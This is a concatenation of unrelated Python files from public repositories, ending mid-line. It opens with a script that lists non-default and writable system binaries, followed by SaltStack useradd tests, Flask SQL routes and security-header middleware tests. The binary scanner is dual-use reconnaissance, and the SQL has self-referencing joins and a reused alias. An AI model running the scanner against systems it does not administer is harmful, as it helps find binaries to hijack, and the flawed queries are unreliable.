'mke2fs', 'update-fonts-scale', 'e2label', 'mkfs', 'update-grub', 'e2mmpstatus', 'mkfs.bfs', 'update-grub2', 'e2scrub', 'mkfs.cramfs', 'update-grub-gfxpayload', 'e2scrub_all', 'mkfs.ext2', 'update-gsfontmap', 'e2undo', 'mkfs.ext3', 'update-icon-caches', 'e4crypt', 'mkfs.ext4', 'update-inetd', 'e4defrag', 'mkfs.fat', 'update-info-dir', 'ebtables', 'mkfs.minix', 'update-initramfs', 'ebtables-nft', 'mkfs.msdos', 'update-locale', 'ebtables-nft-restore', 'mkfs.ntfs', 'update-mime', 'ebtables-nft-save', 'mkfs.vfat', 'update-passwd', 'ebtables-restore', 'mkhomedir_helper', 'update-pciids', 'ebtables-save', 'mkinitramfs', 'update-rc.d', 'faillock', 'mklost+found', 'update-xmlcatalog', 'fatlabel', 'mkntfs', 'upgrade-from-grub-legacy', 'fdformat', 'mkswap', 'usb_modeswitch', 'fdisk', 'ModemManager', 'usb_modeswitch_dispatcher', 'filefrag', 'modinfo', 'usbmuxd', 'findfs', 'modprobe', 'useradd', 'fixparts', 'mount.fuse', 'userdel', 'fsck', 'mount.lowntfs-3g', 'usermod', 'fsck.cramfs', 'mount.ntfs', 'uuidd', 'fsck.ext2', 'mount.ntfs-3g', 'validlocale', 'fsck.ext3', 'mount.vmhgfs', 'vcstime', 'fsck.ext4', 'netplan', 'vigr', 'fsck.fat', 'NetworkManager', 'vipw', 'fsck.minix', 'newusers', 'visudo', 'fsck.msdos', 'nfnl_osf', 'vpddecode', 'fsck.vfat', 'nologin', 'wipefs', 'fsfreeze', 'ntfsclone', 'wpa_action', 'fstab-decode', 'ntfscp', 'wpa_cli', 'fstrim', 'ntfslabel', 'wpa_supplicant', 'gdisk', 'ntfsresize', 'xtables-legacy-multi', 'gdm3', 'ntfsundelete', 'xtables-monitor', 'genl', 'on_ac_power', 'xtables-nft-multi', 'getcap', 'openvpn', 'zic', 'getpcaps', 'ownership', 'zramctl', 'getty', 'pam-auth-update'] dir_list = ['/bin','/usr/bin','/sbin'] writeable = '' def check_access(files,directory): global writeable file = f'{directory}/{files}' if (os.access(file,os.X_OK)) == True: execute = ("\033[0;32m X\033[00m") else: execute = ("\033[0;31m X\033[00m") if os.access(file,os.W_OK) == True: write =('\x1b[6;30;42mW\x1b[0m') writeable += f'{file}\n' else: write = ("\033[0;31m W\033[00m") if os.access(file, os.R_OK) == True: read = ("\033[0;32m R\033[00m") else: read = ("\033[0;31m R\033[00m") return print(read,write,execute) def bin_check(scan_type,directory): if scan_type == 'u': for file in os.listdir(directory): if file not in ubuntu_bin: print(f"(+) Found Custom Binary:{directory}/{file} ", end='') access = str((check_access(file, directory))) if scan_type == 'f': for file in os.listdir(directory): print(f"(+) Found Binary: {directory}/{file} ", end='') access = str((check_access(file, directory))) def main(): try: action = sys.argv[1] except IndexError: print('No argument supplied | try -h for help') exit() if sys.argv[1] == '-h': print('Help:\n-u : Finds all non default binaries | This could be any binaries added to a system after install\n-f : Finds all non binaries and shows their RWX \n-c :You can pass -c as third argument and define custom directores. \n Usage: python3 main.py -<scantype> -c <directories separated by comma>') exit() if len(sys.argv) > 2: if len(sys.argv) == 3: print('Not enough arguments provided for -c') else: if sys.argv[2] == '-c': custom_list = sys.argv[3].split(",",1) for c in custom_list: dir_list.append(c) for d in dir_list: if sys.argv[1] == '-u': bin_check('u',d) if sys.argv[1] == '-f': bin_check('f',d) print(f'\nAll Writeable Binaries:\n\n{writeable}') main()

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b60b84a71d85b4fc05a6001e6f30ccbf9dd71488

24,342

py

Python

tests/pytests/unit/modules/test_useradd.py

haodeon/salt

af2964f4ddbf9c5635d1528a495e473996cc7b71

[ "Apache-2.0" ]

null

tests/pytests/unit/modules/test_useradd.py

haodeon/salt

af2964f4ddbf9c5635d1528a495e473996cc7b71

[ "Apache-2.0" ]

null

tests/pytests/unit/modules/test_useradd.py

haodeon/salt

af2964f4ddbf9c5635d1528a495e473996cc7b71

[ "Apache-2.0" ]

null

import pytest import salt.modules.useradd as useradd from salt.exceptions import CommandExecutionError from tests.support.mock import MagicMock, patch @pytest.fixture def configure_loader_modules(): return { useradd: { "__grains__": { "kernel": "Linux", "osarch": "x86_64", "os": "CentOS", "os_family": "RedHat", "osmajorrelease": 8, }, "__salt__": {}, } } def test_add(): # command found and successful run mock = MagicMock(return_value={"retcode": 0}) with patch( "salt.utils.path.which", MagicMock(return_value="/sbin/useradd") ), patch.dict(useradd.__salt__, {"cmd.run_all": mock}): assert useradd.add("Salt") is True mock.assert_called_once_with(["/sbin/useradd", "-m", "Salt"], python_shell=False) # command found and unsuccessful run mock = MagicMock(return_value={"retcode": 1}) with patch( "salt.utils.path.which", MagicMock(return_value="/sbin/useradd") ), patch.dict(useradd.__salt__, {"cmd.run_all": mock}): assert useradd.add("Salt") is False mock.assert_called_once_with(["/sbin/useradd", "-m", "Salt"], python_shell=False) # command not found mock = MagicMock() with patch("salt.utils.path.which", MagicMock(return_value=None)), patch.dict( useradd.__salt__, {"cmd.run_all": mock} ): with pytest.raises(CommandExecutionError): useradd.add("Salt") mock.assert_not_called() def test_delete(): # command found and successful run mock = MagicMock(return_value={"retcode": 0}) with patch( "salt.utils.path.which", MagicMock(return_value="/sbin/userdel") ), patch.dict(useradd.__salt__, {"cmd.run_all": mock}): assert useradd.delete("Salt") is True mock.assert_called_once_with(["/sbin/userdel", "Salt"], python_shell=False) # command found and unsuccessful run mock = MagicMock(return_value={"retcode": 1}) with patch( "salt.utils.path.which", MagicMock(return_value="/sbin/userdel") ), patch.dict(useradd.__salt__, {"cmd.run_all": mock}): assert useradd.delete("Salt") is False mock.assert_called_once_with(["/sbin/userdel", "Salt"], python_shell=False) # command not found mock = MagicMock() with patch("salt.utils.path.which", MagicMock(return_value=None)), patch.dict( useradd.__salt__, {"cmd.run_all": mock} ): with pytest.raises(CommandExecutionError): useradd.delete("Salt") mock.assert_not_called() def test_chgroups(): # groups matched - no command run mock = MagicMock() with patch.object( useradd, "list_groups", MagicMock(return_value=["wheel", "root"]) ), patch.dict(useradd.__salt__, {"cmd.run_all": mock}): assert useradd.chgroups("Salt", "wheel,root") is True mock.assert_not_called() # command found and successful run mock = MagicMock(return_value={"retcode": 0}) with patch( "salt.utils.path.which", MagicMock(return_value="/sbin/usermod") ), patch.dict(useradd.__salt__, {"cmd.run_all": mock}): assert useradd.chgroups("Salt", "wheel,root") is True mock.assert_called_once_with( ["/sbin/usermod", "-G", "wheel,root", "Salt"], python_shell=False ) # command found and unsuccessful run mock = MagicMock(return_value={"retcode": 1, "stderr": ""}) with patch( "salt.utils.path.which", MagicMock(return_value="/sbin/usermod") ), patch.dict(useradd.__salt__, {"cmd.run_all": mock}): assert useradd.chgroups("Salt", "wheel,root") is False mock.assert_called_once_with( ["/sbin/usermod", "-G", "wheel,root", "Salt"], python_shell=False ) # command not found mock = MagicMock() with patch("salt.utils.path.which", MagicMock(return_value=None)), patch.dict( useradd.__salt__, {"cmd.run_all": mock} ): with pytest.raises(CommandExecutionError): useradd.chgroups("Salt", "wheel,root") mock.assert_not_called() def test_chloginclass(): # only runs on OpenBSD assert useradd.chloginclass("Salt", "staff") is False with patch.dict(useradd.__grains__, {"kernel": "OpenBSD"}): # command found and successful run userinfo = ["class salt", "class staff"] mock = MagicMock(return_value={"retcode": 0}) with patch( "salt.utils.path.which", MagicMock(return_value="/sbin/usermod") ), patch.dict( useradd.__salt__, {"cmd.run_stdout": MagicMock(side_effect=userinfo)} ), patch.dict( useradd.__salt__, {"cmd.run": mock} ): assert useradd.chloginclass("Salt", "staff") is True mock.assert_called_once_with( ["/sbin/usermod", "-L", "staff", "Salt"], python_shell=False ) # command found and unsuccessful run userinfo = ["class salt", "class salt"] mock = MagicMock(return_value={"retcode": 1, "stderr": ""}) with patch( "salt.utils.path.which", MagicMock(return_value="/sbin/usermod") ), patch.dict( useradd.__salt__, {"cmd.run_stdout": MagicMock(side_effect=userinfo)} ), patch.dict( useradd.__salt__, {"cmd.run": mock} ): assert useradd.chloginclass("Salt", "staff") is False mock.assert_called_once_with( ["/sbin/usermod", "-L", "staff", "Salt"], python_shell=False ) # command not found userinfo = ["class salt"] mock = MagicMock() with patch("salt.utils.path.which", MagicMock(return_value=None)), patch.dict( useradd.__salt__, {"cmd.run_stdout": MagicMock(side_effect=userinfo)} ), patch.dict(useradd.__salt__, {"cmd.run": mock}): with pytest.raises(CommandExecutionError): useradd.chloginclass("Salt", "staff") mock.assert_not_called() def test__chattrib(): # command found and successful run mock = MagicMock(return_value={"retcode": 0}) with patch( "salt.utils.path.which", MagicMock(return_value="/sbin/usermod") ), patch.object( useradd, "info", MagicMock(side_effect=[{"uid": 10}, {"uid": 11}]) ), patch.dict( useradd.__salt__, {"cmd.run": mock} ): assert useradd._chattrib("Salt", "uid", 11, "-u") is True mock.assert_called_once_with( ["/sbin/usermod", "-u", 11, "Salt"], python_shell=False ) # command found and unsuccessful run mock = MagicMock(return_value={"retcode": 1}) with patch( "salt.utils.path.which", MagicMock(return_value="/sbin/usermod") ), patch.object( useradd, "info", MagicMock(side_effect=[{"uid": 10}, {"uid": 10}]) ), patch.dict( useradd.__salt__, {"cmd.run": mock} ): assert useradd._chattrib("Salt", "uid", 11, "-u") is False mock.assert_called_once_with( ["/sbin/usermod", "-u", 11, "Salt"], python_shell=False ) # command not found mock = MagicMock() with patch("salt.utils.path.which", MagicMock(return_value=None)), patch.object( useradd, "info", MagicMock(return_value={"uid": 10}) ), patch.dict(useradd.__salt__, {"cmd.run_all": mock}): with pytest.raises(CommandExecutionError): useradd._chattrib("Salt", "uid", 11, "-u") mock.assert_not_called() def test__update_gecos(): pre_info = {"fullname": "Uli Kunkel"} post_info = {"fullname": "Karl Hungus"} # command found and successful run mock = MagicMock(return_value={"retcode": 0}) with patch( "salt.utils.path.which", MagicMock(return_value="/sbin/usermod") ), patch.object( useradd, "_get_gecos", MagicMock(side_effect=[pre_info, post_info]) ), patch.dict( useradd.__salt__, {"cmd.run": mock} ): assert useradd._update_gecos("Salt", "fullname", post_info["fullname"]) is True mock.assert_called_once_with( ["/sbin/usermod", "-c", "Karl Hungus", "Salt"], python_shell=False ) # command found and unsuccessful run mock = MagicMock(return_value={"retcode": 1}) with patch( "salt.utils.path.which", MagicMock(return_value="/sbin/usermod") ), patch.object( useradd, "_get_gecos", MagicMock(side_effect=[pre_info, pre_info]) ), patch.dict( useradd.__salt__, {"cmd.run": mock} ): assert useradd._update_gecos("Salt", "fullname", post_info["fullname"]) is False mock.assert_called_once_with( ["/sbin/usermod", "-c", "Karl Hungus", "Salt"], python_shell=False ) # command not found mock = MagicMock() with patch("salt.utils.path.which", MagicMock(return_value=None)), patch.object( useradd, "_get_gecos", MagicMock(side_effect=[pre_info, pre_info]) ), patch.dict(useradd.__salt__, {"cmd.run": mock}): with pytest.raises(CommandExecutionError): useradd._update_gecos("Salt", "fullname", post_info["fullname"]) mock.assert_not_called() def test_rename(): # command not found with patch("salt.utils.path.which", MagicMock(return_value=None)): mock = MagicMock() with patch.object( useradd, "info", MagicMock(return_value={"uid": 10}) ), patch.dict(useradd.__salt__, {"cmd.run": mock}): with pytest.raises(CommandExecutionError): useradd.rename("salt", 1) mock.assert_not_called() # command found with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")): mock = MagicMock(return_value=False) with patch.object(useradd, "info", mock): with pytest.raises(CommandExecutionError): useradd.rename("salt", 1) mock = MagicMock(return_value=True) with patch.object(useradd, "info", mock): with pytest.raises(CommandExecutionError): useradd.rename("salt", 1) mock = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock}): mock = MagicMock(side_effect=[False, {"name": ""}, {"name": "salt"}]) with patch.object(useradd, "info", mock): assert useradd.rename("name", "salt") is True mock = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock}): mock = MagicMock(side_effect=[False, {"name": ""}, {"name": ""}]) with patch.object(useradd, "info", mock): assert useradd.rename("salt", "salt") is False def test_chuid(): # command not found with patch("salt.utils.path.which", MagicMock(return_value=None)): mock = MagicMock() with patch.object( useradd, "info", MagicMock(return_value={"uid": 10}) ), patch.dict(useradd.__salt__, {"cmd.run": mock}): with pytest.raises(CommandExecutionError): useradd.chuid("salt", 1) mock.assert_not_called() # command found with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")): mock = MagicMock(return_value={"uid": 11}) with patch.object(useradd, "info", mock): assert useradd.chuid("name", 11) is True mock_run = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock_run}): mock = MagicMock(side_effect=[{"uid": 11}, {"uid": 11}]) with patch.object(useradd, "info", mock): assert useradd.chuid("name", 22) is False with patch.dict(useradd.__salt__, {"cmd.run": mock_run}): mock = MagicMock(side_effect=[{"uid": 11}, {"uid": 22}]) with patch.object(useradd, "info", mock): assert useradd.chuid("name", 11) is True def test_chgid(): # command not found with patch("salt.utils.path.which", MagicMock(return_value=None)): mock = MagicMock() with patch.object( useradd, "info", MagicMock(return_value={"gid": 10}) ), patch.dict(useradd.__salt__, {"cmd.run": mock}): with pytest.raises(CommandExecutionError): useradd.chgid("salt", 1) mock.assert_not_called() # command found with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")): mock = MagicMock(return_value={"gid": 11}) with patch.object(useradd, "info", mock): assert useradd.chgid("name", 11) is True mock_run = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock_run}): mock = MagicMock(side_effect=[{"gid": 22}, {"gid": 22}]) with patch.object(useradd, "info", mock): assert useradd.chgid("name", 11) is False with patch.dict(useradd.__salt__, {"cmd.run": mock_run}): mock = MagicMock(side_effect=[{"gid": 11}, {"gid": 22}]) with patch.object(useradd, "info", mock): assert useradd.chgid("name", 11) is True def test_chshell(): # command not found with patch("salt.utils.path.which", MagicMock(return_value=None)): mock = MagicMock() with patch.object( useradd, "info", MagicMock(return_value={"shell": "/bin/bash"}) ), patch.dict(useradd.__salt__, {"cmd.run": mock}): with pytest.raises(CommandExecutionError): useradd.chshell("salt", "/usr/bash") mock.assert_not_called() # command found with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")): mock = MagicMock(return_value={"shell": "/bin/bash"}) with patch.object(useradd, "info", mock): assert useradd.chshell("name", "/bin/bash") is True mock_run = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock_run}): mock = MagicMock( side_effect=[{"shell": "/bin/bash"}, {"shell": "/bin/bash"}] ) with patch.object(useradd, "info", mock): assert useradd.chshell("name", "/usr/bash") is False with patch.dict(useradd.__salt__, {"cmd.run": mock_run}): mock = MagicMock( side_effect=[{"shell": "/bin/bash"}, {"shell": "/usr/bash"}] ) with patch.object(useradd, "info", mock): assert useradd.chshell("name", "/bin/bash") is True def test_chhome(): # command not found with patch("salt.utils.path.which", MagicMock(return_value=None)): mock = MagicMock() with patch.object( useradd, "info", MagicMock(return_value={"home": "/root"}) ), patch.dict(useradd.__salt__, {"cmd.run": mock}): with pytest.raises(CommandExecutionError): useradd.chhome("salt", "/user") mock.assert_not_called() # command found with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")): mock = MagicMock(return_value={"home": "/root"}) with patch.object(useradd, "info", mock): assert useradd.chhome("name", "/root") is True mock = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock}): mock = MagicMock(side_effect=[{"home": "/root"}, {"home": "/root"}]) with patch.object(useradd, "info", mock): assert useradd.chhome("name", "/user") is False mock = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock}): mock = MagicMock(side_effect=[{"home": "/root"}, {"home": "/root"}]) with patch.object(useradd, "info", mock): assert useradd.chhome("name", "/root") is True def test_chfullname(): # command not found with patch("salt.utils.path.which", MagicMock(return_value=None)): mock = MagicMock() with patch.object( useradd, "_get_gecos", MagicMock(return_value={"fullname": "Salt"}) ), patch.dict(useradd.__salt__, {"cmd.run": mock}): with pytest.raises(CommandExecutionError): useradd.chfullname("salt", "Saltstack") mock.assert_not_called() # command found with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")): mock = MagicMock(return_value=False) with patch.object(useradd, "_get_gecos", mock): assert useradd.chfullname("Salt", "SaltStack") is False mock = MagicMock(return_value={"fullname": "SaltStack"}) with patch.object(useradd, "_get_gecos", mock): assert useradd.chfullname("Salt", "SaltStack") is True mock = MagicMock(return_value={"fullname": "SaltStack"}) with patch.object(useradd, "_get_gecos", mock): mock = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock}): mock = MagicMock(return_value={"fullname": "SaltStack2"}) with patch.object(useradd, "info", mock): assert useradd.chfullname("Salt", "SaltStack1") is False mock = MagicMock(return_value={"fullname": "SaltStack2"}) with patch.object(useradd, "_get_gecos", mock): mock = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock}): mock = MagicMock(return_value={"fullname": "SaltStack2"}) with patch.object(useradd, "info", mock): assert useradd.chfullname("Salt", "SaltStack1") is False def test_chroomnumber(): # command not found with patch("salt.utils.path.which", MagicMock(return_value=None)): mock = MagicMock() with patch.object( useradd, "_get_gecos", MagicMock(return_value={"roomnumber": "1"}) ), patch.dict(useradd.__salt__, {"cmd.run": mock}): with pytest.raises(CommandExecutionError): useradd.chroomnumber("salt", 2) mock.assert_not_called() # command found with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")): mock = MagicMock(return_value=False) with patch.object(useradd, "_get_gecos", mock): assert useradd.chroomnumber("salt", 1) is False mock = MagicMock(return_value={"roomnumber": "1"}) with patch.object(useradd, "_get_gecos", mock): assert useradd.chroomnumber("salt", 1) is True mock = MagicMock(return_value={"roomnumber": "2"}) with patch.object(useradd, "_get_gecos", mock): mock = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock}): mock = MagicMock(return_value={"roomnumber": "3"}) with patch.object(useradd, "info", mock): assert useradd.chroomnumber("salt", 1) is False mock = MagicMock(return_value={"roomnumber": "3"}) with patch.object(useradd, "_get_gecos", mock): mock = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock}): mock = MagicMock(return_value={"roomnumber": "3"}) def test_chworkphone(): # command not found with patch("salt.utils.path.which", MagicMock(return_value=None)): mock = MagicMock() with patch.object( useradd, "_get_gecos", MagicMock(return_value={"workphone": "1"}) ), patch.dict(useradd.__salt__, {"cmd.run": mock}): with pytest.raises(CommandExecutionError): useradd.chworkphone("salt", 2) mock.assert_not_called() # command found with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")): mock = MagicMock(return_value=False) with patch.object(useradd, "_get_gecos", mock): assert useradd.chworkphone("salt", 1) is False mock = MagicMock(return_value={"workphone": "1"}) with patch.object(useradd, "_get_gecos", mock): assert useradd.chworkphone("salt", 1) is True mock = MagicMock(return_value={"workphone": "2"}) with patch.object(useradd, "_get_gecos", mock): mock = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock}): mock = MagicMock(return_value={"workphone": "3"}) with patch.object(useradd, "info", mock): assert useradd.chworkphone("salt", 1) is False mock = MagicMock(return_value={"workphone": "3"}) with patch.object(useradd, "_get_gecos", mock): mock = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock}): mock = MagicMock(return_value={"workphone": "3"}) with patch.object(useradd, "info", mock): assert useradd.chworkphone("salt", 1) is False def test_chhomephone(): # command not found with patch("salt.utils.path.which", MagicMock(return_value=None)): mock = MagicMock() with patch.object( useradd, "_get_gecos", MagicMock(return_value={"homephone": "1"}) ), patch.dict(useradd.__salt__, {"cmd.run": mock}): with pytest.raises(CommandExecutionError): useradd.chhomephone("salt", 2) mock.assert_not_called() # command found with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")): mock = MagicMock(return_value=False) with patch.object(useradd, "_get_gecos", mock): assert useradd.chhomephone("salt", 1) is False mock = MagicMock(return_value={"homephone": "1"}) with patch.object(useradd, "_get_gecos", mock): assert useradd.chhomephone("salt", 1) is True mock = MagicMock(return_value={"homephone": "2"}) with patch.object(useradd, "_get_gecos", mock): mock = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock}): mock = MagicMock(return_value={"homephone": "3"}) with patch.object(useradd, "info", mock): assert useradd.chhomephone("salt", 1) is False mock = MagicMock(return_value={"homephone": "3"}) with patch.object(useradd, "_get_gecos", mock): mock = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock}): mock = MagicMock(return_value={"homephone": "3"}) with patch.object(useradd, "info", mock): assert useradd.chhomephone("salt", 1) is False def test_chother(): # command not found with patch("salt.utils.path.which", MagicMock(return_value=None)): mock = MagicMock() with patch.object( useradd, "_get_gecos", MagicMock(return_value={"other": "1"}) ), patch.dict(useradd.__salt__, {"cmd.run": mock}): with pytest.raises(CommandExecutionError): useradd.chother("salt", 2) mock.assert_not_called() # command found with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")): mock = MagicMock(return_value=False) with patch.object(useradd, "_get_gecos", mock): assert useradd.chother("salt", 1) is False mock = MagicMock(return_value={"other": "foobar"}) with patch.object(useradd, "_get_gecos", mock): assert useradd.chother("salt", "foobar") is True mock = MagicMock(return_value={"other": "foobar2"}) with patch.object(useradd, "_get_gecos", mock): mock = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock}): mock = MagicMock(return_value={"other": "foobar3"}) with patch.object(useradd, "info", mock): assert useradd.chother("salt", "foobar") is False mock = MagicMock(return_value={"other": "foobar3"}) with patch.object(useradd, "_get_gecos", mock): mock = MagicMock(return_value=None) with patch.dict(useradd.__salt__, {"cmd.run": mock}): mock = MagicMock(return_value={"other": "foobar3"}) with patch.object(useradd, "info", mock): assert useradd.chother("salt", "foobar") is False

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null

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7

374ef97fabb0b4ee989a06178d7083a54df06c7a

183

py

Python

game/screens/__init__.py

amrit-choudhary/brkout

fa419bb7cd9522da87f85681141291520a6bd89c

[ "MIT" ]

14

2018-01-17T20:50:44.000Z

2019-01-09T11:20:56.000Z

game/screens/__init__.py

amrit-choudhary/brkout

fa419bb7cd9522da87f85681141291520a6bd89c

[ "MIT" ]

44

2017-12-16T17:45:30.000Z

2019-05-05T10:13:58.000Z

game/screens/__init__.py

amrit-choudhary/brkout

fa419bb7cd9522da87f85681141291520a6bd89c

[ "MIT" ]

28

2017-12-18T08:43:34.000Z

2021-02-18T10:19:55.000Z

''' Import all modules in this package ''' from .credits_screen import * from .end_screen import * from .pause_screen import * from .start_screen import * from .game_screen import *

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7

37b0812824f62dc06033f49b47f2b9c0775f1fa5

2,233

py

Python

api/routes_srija.py

indera/dbms

dc6cf1a93cc0d8b314d6737a29b89791ee47d56a

[ "MIT" ]

1

2020-03-25T03:20:55.000Z

api/routes_srija.py

indera/dbms

dc6cf1a93cc0d8b314d6737a29b89791ee47d56a

[ "MIT" ]

6

2020-04-19T19:19:04.000Z

2022-02-27T03:17:16.000Z

api/routes_srija.py

indera/dbms

dc6cf1a93cc0d8b314d6737a29b89791ee47d56a

[ "MIT" ]

3

2020-03-25T03:21:06.000Z

2020-04-14T22:03:56.000Z

from api.main import app from api.dbutils import fetch_data sql2 = """ SELECT D.TYPE , R.REGION_NAME , count(*) AS num_accounts , TO_CHAR(A.CREATED_DATE, 'YYYY-MM') month FROM dmelisso.DISPOSITION D JOIN dmelisso.ACCOUNT A ON A.ACCOUNT_ID = A.ACCOUNT_ID JOIN dmelisso.CLIENT C ON C.CLIENT_ID = A.ACCOUNT_ID JOIN dmelisso.DISTRICT D ON D.ACCOUNT_ID = A.ACCOUNT_ID JOIN dmelisso.REGION_FULL R ON R.REGION_ID = D.REGION_ID GROUP BY D.TYPE, R.REGION_NAME, TO_CHAR(A.CREATED_DATE, 'YYYY-MM') ORDER BY D.TYPE, R.REGION_NAME, TO_CHAR(A.CREATED_DATE, 'YYYY-MM') """ @app.route('/api/getNumAccountsOpenByDispositionAndRegion') def num_accounts_for_dispositions(): # From q4 description = "Number of accounts open for disposition types (owner/disponent) and region" sql = """ SELECT R.REGION_NAME , count(*) AS num_accounts , TO_CHAR(A.CREATED_DATE, 'YYYY-MM') month FROM dmelisso.DISPOSITION D JOIN dmelisso.ACCOUNT A ON A.ACCOUNT_ID = A.ACCOUNT_ID JOIN dmelisso.CLIENT C ON C.CLIENT_ID = A.ACCOUNT_ID JOIN dmelisso.DISTRICT D ON D.ACCOUNT_ID = A.ACCOUNT_ID JOIN dmelisso.REGION_FULL R ON R.REGION_ID = D.REGION_ID WHERE D.TYPE = 'OWNER' GROUP BY TO_CHAR(A.CREATED_DATE, 'YYYY-MM') , R.REGION_NAME ORDER BY TO_CHAR(A.CREATED_DATE, 'YYYY-MM') """ json_data = fetch_data(sql, description) return json_data @app.route('/api/getNumAccountsOpenByDispositionAndRegionDisponent') def num_accounts_for_dispositions_disp(): # From q4 description = "Number of accounts open for disposition types (owner/disponent) and region" sql = """ SELECT R.REGION_NAME , count(*) AS num_accounts , TO_CHAR(A.CREATED_DATE, 'YYYY-MM') month FROM dmelisso.DISPOSITION D JOIN dmelisso.ACCOUNT A ON A.ACCOUNT_ID = A.ACCOUNT_ID JOIN dmelisso.CLIENT C ON C.CLIENT_ID = A.ACCOUNT_ID JOIN dmelisso.DISTRICT D ON D.ACCOUNT_ID = A.ACCOUNT_ID JOIN dmelisso.REGION_FULL R ON R.REGION_ID = D.REGION_ID WHERE D.TYPE = 'DISPONENT' GROUP BY TO_CHAR(A.CREATED_DATE, 'YYYY-MM') , R.REGION_NAME ORDER BY TO_CHAR(A.CREATED_DATE, 'YYYY-MM') """ json_data = fetch_data(sql, description) return json_data

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0

1

0

null

0

8

37ba743882b3d531724eeac7026a56f1be88a80e

13,536

py

Python

tests/test_middleware.py

jtmiclat/asgi-sage

67c624b9fc22dd5f6b58afe4605c5f5323d66ba4

[ "MIT" ]

1

2020-08-25T15:53:29.000Z

tests/test_middleware.py

jtmiclat/asgi-sage

67c624b9fc22dd5f6b58afe4605c5f5323d66ba4

[ "MIT" ]

null

tests/test_middleware.py

jtmiclat/asgi-sage

67c624b9fc22dd5f6b58afe4605c5f5323d66ba4

[ "MIT" ]

null

import pytest from starlette.applications import Starlette from starlette.responses import PlainTextResponse from starlette.testclient import TestClient from asgi_sage.middleware import SageMiddleware @pytest.fixture def app(): app = Starlette() @app.route("/sync-message") def hi(request): response = PlainTextResponse("ok") response.set_cookie("key", "value") response.set_cookie("key2", "value2") return response @app.route("/async-message") async def hi2(request): response = PlainTextResponse("ok") response.set_cookie("key", "value") response.set_cookie("key2", "value2") return response return app def test_x_frame_options_default(app): app.add_middleware(SageMiddleware) client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert response.headers["X-Frame-Options"] == "SAMEORIGIN" response = client.get("/async-message") assert response.status_code == 200 assert response.headers["X-Frame-Options"] == "SAMEORIGIN" def test_x_frame_options_sameorigin(app): app.add_middleware(SageMiddleware, frame_options="SAMEORIGIN") client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert response.headers["X-Frame-Options"] == "SAMEORIGIN" response = client.get("/async-message") assert response.status_code == 200 assert response.headers["X-Frame-Options"] == "SAMEORIGIN" def test_x_frame_options_deny(app): app.add_middleware(SageMiddleware, frame_options="DENY") client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert response.headers["X-Frame-Options"] == "DENY" response = client.get("/async-message") assert response.status_code == 200 assert response.headers["X-Frame-Options"] == "DENY" def test_x_frame_options_none(app): app.add_middleware(SageMiddleware, frame_options=None) client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert "X-Frame-Options" not in response.headers response = client.get("/async-message") assert response.status_code == 200 assert "X-Frame-Options" not in response.headers def test_strict_transport_security_true(app): app.add_middleware(SageMiddleware) client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert "strict-transport-security" in response.headers response = client.get("/async-message") assert response.status_code == 200 assert "strict-transport-security" in response.headers def test_strict_transport_security_false(app): app.add_middleware(SageMiddleware, strict_transport_security=False) client = TestClient(app) response = client.get("/sync-message") assert "strict-transport-security" not in response.headers response = client.get("/async-message") assert response.status_code == 200 assert "strict-transport-security" not in response.headers def test_strict_transport_security_max_age_default(app): app.add_middleware(SageMiddleware) client = TestClient(app) response = client.get("/sync-message") assert str(60 * 60 * 24 * 365) in response.headers["strict-transport-security"] response = client.get("/async-message") assert response.status_code == 200 assert str(60 * 60 * 24 * 365) in response.headers["strict-transport-security"] def test_strict_transport_security_max_age_set(app): app.add_middleware(SageMiddleware, strict_transport_security_max_age=1000) client = TestClient(app) response = client.get("/sync-message") assert str(1000) in response.headers["strict-transport-security"] response = client.get("/async-message") assert response.status_code == 200 assert str(1000) in response.headers["strict-transport-security"] def test_strict_transport_security_include_subdomain_trur(app): app.add_middleware( SageMiddleware, strict_transport_security_include_subdomains=True ) client = TestClient(app) response = client.get("/sync-message") assert "includeSubDomains" in response.headers["strict-transport-security"] response = client.get("/async-message") assert response.status_code == 200 assert "includeSubDomains" in response.headers["strict-transport-security"] def test_strict_transport_security_include_subdomain_false(app): app.add_middleware( SageMiddleware, strict_transport_security_include_subdomains=False ) client = TestClient(app) response = client.get("/sync-message") assert "includeSubDomains" not in response.headers["strict-transport-security"] response = client.get("/async-message") assert response.status_code == 200 assert "includeSubDomains" not in response.headers["strict-transport-security"] def test_strict_transport_security_preload_default(app): app.add_middleware(SageMiddleware) client = TestClient(app) response = client.get("/sync-message") assert "preload" not in response.headers["strict-transport-security"] response = client.get("/async-message") assert response.status_code == 200 assert "preload" not in response.headers["strict-transport-security"] def test_strict_transport_security_preload_true(app): app.add_middleware(SageMiddleware, strict_transport_security_preload=True) client = TestClient(app) response = client.get("/sync-message") assert 